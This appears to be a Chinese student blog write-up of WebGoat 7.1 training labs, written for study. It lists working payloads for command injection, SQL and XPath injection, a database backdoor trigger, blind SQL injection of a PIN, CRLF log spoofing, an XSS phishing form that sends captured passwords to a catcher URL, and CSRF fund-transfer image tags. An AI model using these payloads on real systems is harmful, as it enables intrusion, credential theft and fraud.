标签:web安全 内容 cal 情况 message 文字 search mit eal
防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。
java -jar webgoat-container-7.1-exec.ja
开启webgoatlocalhost:8080/WebGoat
,选择默认的账号密码即可登陆Command Injection
BackDoors.help
,并view
,右键选择Inspect Element
BackDoors.help
旁边加上"& netstat -an & ipconfig"
view
,可以看到命令被执行,出现系统网络连接情况Numeric SQL Injection
Columbia
,Go
,可以看到所有天气数据Log Spoofing
zss%0d%0aLogin Succeeded for username: admin
XPATH Injection
构造永真式
user name:zss‘ or 1=1 or ‘a‘=‘a
password:zss
成功
String SQL Injection
‘ or 1=1 --
LAB: SQL Injection
ViewProfile
,这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一Database Backdoors
101; update employee set salary=10000
,将工资涨到了10000101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20154322@qq.com‘ WHERE userid = NEW.userid
,创建后门Blind Numeric SQL Injection
pins
表中cc_number
字段值为1111222233334444
的记录中pin
字段的数值,从服务端页面返回的信息中可以知道,只会反馈两种信息:帐号有效或无效101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 2000 )
;查看pin
数值是否大于2000
逐步缩小范围,最后确定数值
使用XSS和HTML插入制作一个钓鱼网站,将其输在search框中,代码如下
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
成功
Reflected XSS Attacks
如果我们将带有攻击性的URL作为输入源,比如<script>alert("23320154308yqh");</script>
,就会弹出对话框
在信息框内输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>
(这句话的意思是将Funds即金钱转到自己的账户里),点击提交后就执行了这个代码,被攻击者就会给你转钱,成功
CSRF Prompt By-Pass
在信息框输入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
width="1" height="1">
提交之后,攻击成功
标签:web安全 内容 cal 情况 message 文字 search mit eal
原文地址:https://www.cnblogs.com/20154308zss/p/9106432.html